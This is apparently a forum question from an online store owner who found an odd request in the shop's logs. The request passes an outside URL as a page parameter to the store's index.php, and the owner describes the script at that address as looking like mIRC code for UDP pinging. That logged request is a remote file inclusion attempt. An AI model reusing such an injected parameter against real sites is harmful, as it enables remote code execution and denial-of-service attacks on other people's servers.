I was watching the admin panel for my e-commerce store, and I noticed that someone tried to hit this page, "/store/index.php?main_page=http://www.voice.ch/.u". It isn't a valid page on my site, so I went to http://www.voice.ch/.u to see what it was. It looked like mIRC script, and it looked like it was doing something with UDP and pinging. Is it some script to just do pings on your web server or is it something harmful?
